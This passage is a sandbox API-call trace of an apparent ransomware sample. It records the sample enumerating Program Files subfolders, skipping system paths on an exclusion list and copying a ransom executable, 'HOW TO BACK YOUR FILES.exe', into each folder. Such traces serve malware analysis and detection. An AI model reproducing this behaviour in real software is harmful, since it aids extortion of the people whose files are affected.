0x50c368 [0034.292] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x50bcc0 [0034.292] lstrcatW (in: lpString1="Microsoft Sync Framework", lpString2="\\" | out: lpString1="Microsoft Sync Framework\\") returned="Microsoft Sync Framework\\" [0034.292] lstrcatW (in: lpString1="Microsoft Sync Framework\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Sync Framework\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Sync Framework\\HOW TO BACK YOUR FILES.exe" [0034.292] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Sync Framework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sync framework\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.296] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xac6a8f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xac6a8f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 1 [0034.296] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.296] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.296] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2=".") returned 1 [0034.296] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="..") returned 1 [0034.296] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="windows") returned -1 [0034.296] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="bootmgr") returned 1 [0034.296] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="temp") returned -1 [0034.296] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="pagefile.sys") returned -1 [0034.296] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="boot") returned 1 [0034.296] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="ids.txt") returned 1 [0034.296] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="ntuser.dat") returned -1 [0034.296] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="perflogs") returned -1 [0034.296] lstrcmpiW (lpString1="Microsoft Synchronization Services", lpString2="MSBuild") returned -1 [0034.296] lstrlenW (lpString="Microsoft Synchronization Services") returned 34 [0034.296] lstrcpyW (in: lpString1=0x241e86a, lpString2="Microsoft Synchronization Services" | out: lpString1="Microsoft Synchronization Services") returned="Microsoft Synchronization Services" [0034.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c380 [0034.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x50ef50 [0034.296] lstrcatW (in: lpString1="Microsoft Synchronization Services", lpString2="\\" | out: lpString1="Microsoft Synchronization Services\\") returned="Microsoft Synchronization Services\\" [0034.296] lstrcatW (in: lpString1="Microsoft Synchronization Services\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Synchronization Services\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Synchronization Services\\HOW TO BACK YOUR FILES.exe" [0034.296] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Synchronization Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft synchronization services\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.298] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xacb45a00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xacb45a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0034.298] lstrcmpiW (lpString1="MSBuild", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.298] lstrcmpiW (lpString1="MSBuild", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.298] lstrcmpiW (lpString1="MSBuild", lpString2=".") returned 1 [0034.298] lstrcmpiW (lpString1="MSBuild", lpString2="..") returned 1 [0034.298] lstrcmpiW (lpString1="MSBuild", lpString2="windows") returned -1 [0034.298] lstrcmpiW (lpString1="MSBuild", lpString2="bootmgr") returned 1 [0034.298] lstrcmpiW (lpString1="MSBuild", lpString2="temp") returned -1 [0034.298] lstrcmpiW (lpString1="MSBuild", lpString2="pagefile.sys") returned -1 [0034.298] lstrcmpiW (lpString1="MSBuild", lpString2="boot") returned 1 [0034.299] lstrcmpiW (lpString1="MSBuild", lpString2="ids.txt") returned 1 [0034.299] lstrcmpiW (lpString1="MSBuild", lpString2="ntuser.dat") returned -1 [0034.299] lstrcmpiW (lpString1="MSBuild", lpString2="perflogs") returned -1 [0034.299] lstrcmpiW (lpString1="MSBuild", lpString2="MSBuild") returned 0 [0034.299] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0034.299] lstrcmpiW (lpString1="Reference Assemblies", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.299] lstrcmpiW (lpString1="Reference Assemblies", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.299] lstrcmpiW (lpString1="Reference Assemblies", lpString2=".") returned 1 [0034.299] lstrcmpiW (lpString1="Reference Assemblies", lpString2="..") returned 1 [0034.299] lstrcmpiW (lpString1="Reference Assemblies", lpString2="windows") returned -1 [0034.299] lstrcmpiW (lpString1="Reference Assemblies", lpString2="bootmgr") returned 1 [0034.299] lstrcmpiW (lpString1="Reference Assemblies", lpString2="temp") returned -1 [0034.299] lstrcmpiW (lpString1="Reference Assemblies", lpString2="pagefile.sys") returned 1 [0034.299] lstrcmpiW (lpString1="Reference Assemblies", lpString2="boot") returned 1 [0034.299] lstrcmpiW (lpString1="Reference Assemblies", lpString2="ids.txt") returned 1 [0034.299] lstrcmpiW (lpString1="Reference Assemblies", lpString2="ntuser.dat") returned 1 [0034.299] lstrcmpiW (lpString1="Reference Assemblies", lpString2="perflogs") returned 1 [0034.299] lstrcmpiW (lpString1="Reference Assemblies", lpString2="MSBuild") returned 1 [0034.299] lstrlenW (lpString="Reference Assemblies") returned 20 [0034.299] lstrcpyW (in: lpString1=0x241e86a, lpString2="Reference Assemblies" | out: lpString1="Reference Assemblies") returned="Reference Assemblies" [0034.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c398 [0034.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4c) returned 0x515c90 [0034.299] lstrcatW (in: lpString1="Reference Assemblies", lpString2="\\" | out: lpString1="Reference Assemblies\\") returned="Reference Assemblies\\" [0034.299] lstrcatW (in: lpString1="Reference Assemblies\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Reference Assemblies\\HOW TO BACK YOUR FILES.exe") returned="Reference Assemblies\\HOW TO BACK YOUR FILES.exe" [0034.299] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\reference assemblies\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.301] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0034.301] lstrcmpiW (lpString1="Uninstall Information", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.301] lstrcmpiW (lpString1="Uninstall Information", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.301] lstrcmpiW (lpString1="Uninstall Information", lpString2=".") returned 1 [0034.301] lstrcmpiW (lpString1="Uninstall Information", lpString2="..") returned 1 [0034.302] lstrcmpiW (lpString1="Uninstall Information", lpString2="windows") returned -1 [0034.302] lstrcmpiW (lpString1="Uninstall Information", lpString2="bootmgr") returned 1 [0034.302] lstrcmpiW (lpString1="Uninstall Information", lpString2="temp") returned 1 [0034.302] lstrcmpiW (lpString1="Uninstall Information", lpString2="pagefile.sys") returned 1 [0034.302] lstrcmpiW (lpString1="Uninstall Information", lpString2="boot") returned 1 [0034.302] lstrcmpiW (lpString1="Uninstall Information", lpString2="ids.txt") returned 1 [0034.302] lstrcmpiW (lpString1="Uninstall Information", lpString2="ntuser.dat") returned 1 [0034.302] lstrcmpiW (lpString1="Uninstall Information", lpString2="perflogs") returned 1 [0034.302] lstrcmpiW (lpString1="Uninstall Information", lpString2="MSBuild") returned 1 [0034.302] lstrlenW (lpString="Uninstall Information") returned 21 [0034.302] lstrcpyW (in: lpString1=0x241e86a, lpString2="Uninstall Information" | out: lpString1="Uninstall Information") returned="Uninstall Information" [0034.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c3b0 [0034.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4e) returned 0x515ce8 [0034.302] lstrcatW (in: lpString1="Uninstall Information", lpString2="\\" | out: lpString1="Uninstall Information\\") returned="Uninstall Information\\" [0034.302] lstrcatW (in: lpString1="Uninstall Information\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Uninstall Information\\HOW TO BACK YOUR FILES.exe") returned="Uninstall Information\\HOW TO BACK YOUR FILES.exe" [0034.302] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Uninstall Information\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\uninstall information\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.304] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xac6a8f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xac6a8f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0034.304] lstrcmpiW (lpString1="Windows Defender", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.304] lstrcmpiW (lpString1="Windows Defender", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.304] lstrcmpiW (lpString1="Windows Defender", lpString2=".") returned 1 [0034.304] lstrcmpiW (lpString1="Windows Defender", lpString2="..") returned 1 [0034.304] lstrcmpiW (lpString1="Windows Defender", lpString2="windows") returned 1 [0034.304] lstrcmpiW (lpString1="Windows Defender", lpString2="bootmgr") returned 1 [0034.304] lstrcmpiW (lpString1="Windows Defender", lpString2="temp") returned 1 [0034.305] lstrcmpiW (lpString1="Windows Defender", lpString2="pagefile.sys") returned 1 [0034.305] lstrcmpiW (lpString1="Windows Defender", lpString2="boot") returned 1 [0034.305] lstrcmpiW (lpString1="Windows Defender", lpString2="ids.txt") returned 1 [0034.305] lstrcmpiW (lpString1="Windows Defender", lpString2="ntuser.dat") returned 1 [0034.305] lstrcmpiW (lpString1="Windows Defender", lpString2="perflogs") returned 1 [0034.305] lstrcmpiW (lpString1="Windows Defender", lpString2="MSBuild") returned 1 [0034.305] lstrlenW (lpString="Windows Defender") returned 16 [0034.305] lstrcpyW (in: lpString1=0x241e86a, lpString2="Windows Defender" | out: lpString1="Windows Defender") returned="Windows Defender" [0034.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c3c8 [0034.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x44) returned 0x5172a8 [0034.305] lstrcatW (in: lpString1="Windows Defender", lpString2="\\" | out: lpString1="Windows Defender\\") returned="Windows Defender\\" [0034.305] lstrcatW (in: lpString1="Windows Defender\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Defender\\HOW TO BACK YOUR FILES.exe") returned="Windows Defender\\HOW TO BACK YOUR FILES.exe" [0034.305] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows defender\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.307] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xac65cca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xac65cca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0034.307] lstrcmpiW (lpString1="Windows Journal", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.307] lstrcmpiW (lpString1="Windows Journal", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.307] lstrcmpiW (lpString1="Windows Journal", lpString2=".") returned 1 [0034.307] lstrcmpiW (lpString1="Windows Journal", lpString2="..") returned 1 [0034.307] lstrcmpiW (lpString1="Windows Journal", lpString2="windows") returned 1 [0034.307] lstrcmpiW (lpString1="Windows Journal", lpString2="bootmgr") returned 1 [0034.307] lstrcmpiW (lpString1="Windows Journal", lpString2="temp") returned 1 [0034.307] lstrcmpiW (lpString1="Windows Journal", lpString2="pagefile.sys") returned 1 [0034.307] lstrcmpiW (lpString1="Windows Journal", lpString2="boot") returned 1 [0034.307] lstrcmpiW (lpString1="Windows Journal", lpString2="ids.txt") returned 1 [0034.307] lstrcmpiW (lpString1="Windows Journal", lpString2="ntuser.dat") returned 1 [0034.307] lstrcmpiW (lpString1="Windows Journal", lpString2="perflogs") returned 1 [0034.308] lstrcmpiW (lpString1="Windows Journal", lpString2="MSBuild") returned 1 [0034.308] lstrlenW (lpString="Windows Journal") returned 15 [0034.308] lstrcpyW (in: lpString1=0x241e86a, lpString2="Windows Journal" | out: lpString1="Windows Journal") returned="Windows Journal" [0034.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c3e0 [0034.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x42) returned 0x5172f8 [0034.308] lstrcatW (in: lpString1="Windows Journal", lpString2="\\" | out: lpString1="Windows Journal\\") returned="Windows Journal\\" [0034.308] lstrcatW (in: lpString1="Windows Journal\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Journal\\HOW TO BACK YOUR FILES.exe") returned="Windows Journal\\HOW TO BACK YOUR FILES.exe" [0034.308] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Journal\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows journal\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.310] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xac6109e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xac6109e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0034.310] lstrcmpiW (lpString1="Windows Mail", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.310] lstrcmpiW (lpString1="Windows Mail", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.310] lstrcmpiW (lpString1="Windows Mail", lpString2=".") returned 1 [0034.310] lstrcmpiW (lpString1="Windows Mail", lpString2="..") returned 1 [0034.310] lstrcmpiW (lpString1="Windows Mail", lpString2="windows") returned 1 [0034.310] lstrcmpiW (lpString1="Windows Mail", lpString2="bootmgr") returned 1 [0034.310] lstrcmpiW (lpString1="Windows Mail", lpString2="temp") returned 1 [0034.310] lstrcmpiW (lpString1="Windows Mail", lpString2="pagefile.sys") returned 1 [0034.310] lstrcmpiW (lpString1="Windows Mail", lpString2="boot") returned 1 [0034.310] lstrcmpiW (lpString1="Windows Mail", lpString2="ids.txt") returned 1 [0034.310] lstrcmpiW (lpString1="Windows Mail", lpString2="ntuser.dat") returned 1 [0034.310] lstrcmpiW (lpString1="Windows Mail", lpString2="perflogs") returned 1 [0034.310] lstrcmpiW (lpString1="Windows Mail", lpString2="MSBuild") returned 1 [0034.310] lstrlenW (lpString="Windows Mail") returned 12 [0034.310] lstrcpyW (in: lpString1=0x241e86a, lpString2="Windows Mail" | out: lpString1="Windows Mail") returned="Windows Mail" [0034.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c3f8 [0034.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x50f5b0 [0034.310] lstrcatW (in: lpString1="Windows Mail", lpString2="\\" | out: lpString1="Windows Mail\\") returned="Windows Mail\\" [0034.310] lstrcatW (in: lpString1="Windows Mail\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Mail\\HOW TO BACK YOUR FILES.exe") returned="Windows Mail\\HOW TO BACK YOUR FILES.exe" [0034.310] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Mail\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows mail\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.313] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0034.313] lstrcmpiW (lpString1="Windows Media Player", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.313] lstrcmpiW (lpString1="Windows Media Player", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.313] lstrcmpiW (lpString1="Windows Media Player", lpString2=".") returned 1 [0034.313] lstrcmpiW (lpString1="Windows Media Player", lpString2="..") returned 1 [0034.313] lstrcmpiW (lpString1="Windows Media Player", lpString2="windows") returned 1 [0034.313] lstrcmpiW (lpString1="Windows Media Player", lpString2="bootmgr") returned 1 [0034.313] lstrcmpiW (lpString1="Windows Media Player", lpString2="temp") returned 1 [0034.313] lstrcmpiW (lpString1="Windows Media Player", lpString2="pagefile.sys") returned 1 [0034.313] lstrcmpiW (lpString1="Windows Media Player", lpString2="boot") returned 1 [0034.313] lstrcmpiW (lpString1="Windows Media Player", lpString2="ids.txt") returned 1 [0034.313] lstrcmpiW (lpString1="Windows Media Player", lpString2="ntuser.dat") returned 1 [0034.313] lstrcmpiW (lpString1="Windows Media Player", lpString2="perflogs") returned 1 [0034.313] lstrcmpiW (lpString1="Windows Media Player", lpString2="MSBuild") returned 1 [0034.313] lstrlenW (lpString="Windows Media Player") returned 20 [0034.313] lstrcpyW (in: lpString1=0x241e86a, lpString2="Windows Media Player" | out: lpString1="Windows Media Player") returned="Windows Media Player" [0034.313] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c410 [0034.313] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4c) returned 0x515d40 [0034.313] lstrcatW (in: lpString1="Windows Media Player", lpString2="\\" | out: lpString1="Windows Media Player\\") returned="Windows Media Player\\" [0034.313] lstrcatW (in: lpString1="Windows Media Player\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Media Player\\HOW TO BACK YOUR FILES.exe") returned="Windows Media Player\\HOW TO BACK YOUR FILES.exe" [0034.313] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.316] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xac682e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xac682e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0034.316] lstrcmpiW (lpString1="Windows NT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.316] lstrcmpiW (lpString1="Windows NT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.316] lstrcmpiW (lpString1="Windows NT", lpString2=".") returned 1 [0034.316] lstrcmpiW (lpString1="Windows NT", lpString2="..") returned 1 [0034.316] lstrcmpiW (lpString1="Windows NT", lpString2="windows") returned 1 [0034.316] lstrcmpiW (lpString1="Windows NT", lpString2="bootmgr") returned 1 [0034.316] lstrcmpiW (lpString1="Windows NT", lpString2="temp") returned 1 [0034.316] lstrcmpiW (lpString1="Windows NT", lpString2="pagefile.sys") returned 1 [0034.316] lstrcmpiW (lpString1="Windows NT", lpString2="boot") returned 1 [0034.316] lstrcmpiW (lpString1="Windows NT", lpString2="ids.txt") returned 1 [0034.316] lstrcmpiW (lpString1="Windows NT", lpString2="ntuser.dat") returned 1 [0034.316] lstrcmpiW (lpString1="Windows NT", lpString2="perflogs") returned 1 [0034.316] lstrcmpiW (lpString1="Windows NT", lpString2="MSBuild") returned 1 [0034.317] lstrlenW (lpString="Windows NT") returned 10 [0034.317] lstrcpyW (in: lpString1=0x241e86a, lpString2="Windows NT" | out: lpString1="Windows NT") returned="Windows NT" [0034.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c428 [0034.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x38) returned 0x50efc0 [0034.317] lstrcatW (in: lpString1="Windows NT", lpString2="\\" | out: lpString1="Windows NT\\") returned="Windows NT\\" [0034.317] lstrcatW (in: lpString1="Windows NT\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows NT\\HOW TO BACK YOUR FILES.exe") returned="Windows NT\\HOW TO BACK YOUR FILES.exe" [0034.317] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows nt\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.319] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xac636b40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xac636b40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0034.319] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.319] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.319] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2=".") returned 1 [0034.319] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="..") returned 1 [0034.319] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="windows") returned 1 [0034.319] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="bootmgr") returned 1 [0034.319] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="temp") returned 1 [0034.319] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="pagefile.sys") returned 1 [0034.319] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="boot") returned 1 [0034.319] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="ids.txt") returned 1 [0034.319] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="ntuser.dat") returned 1 [0034.319] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="perflogs") returned 1 [0034.319] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="MSBuild") returned 1 [0034.319] lstrlenW (lpString="Windows Photo Viewer") returned 20 [0034.319] lstrcpyW (in: lpString1=0x241e86a, lpString2="Windows Photo Viewer" | out: lpString1="Windows Photo Viewer") returned="Windows Photo Viewer" [0034.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c440 [0034.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4c) returned 0x515d98 [0034.319] lstrcatW (in: lpString1="Windows Photo Viewer", lpString2="\\" | out: lpString1="Windows Photo Viewer\\") returned="Windows Photo Viewer\\" [0034.319] lstrcatW (in: lpString1="Windows Photo Viewer\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Photo Viewer\\HOW TO BACK YOUR FILES.exe") returned="Windows Photo Viewer\\HOW TO BACK YOUR FILES.exe" [0034.319] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows photo viewer\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.323] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xac636b40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xac636b40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, 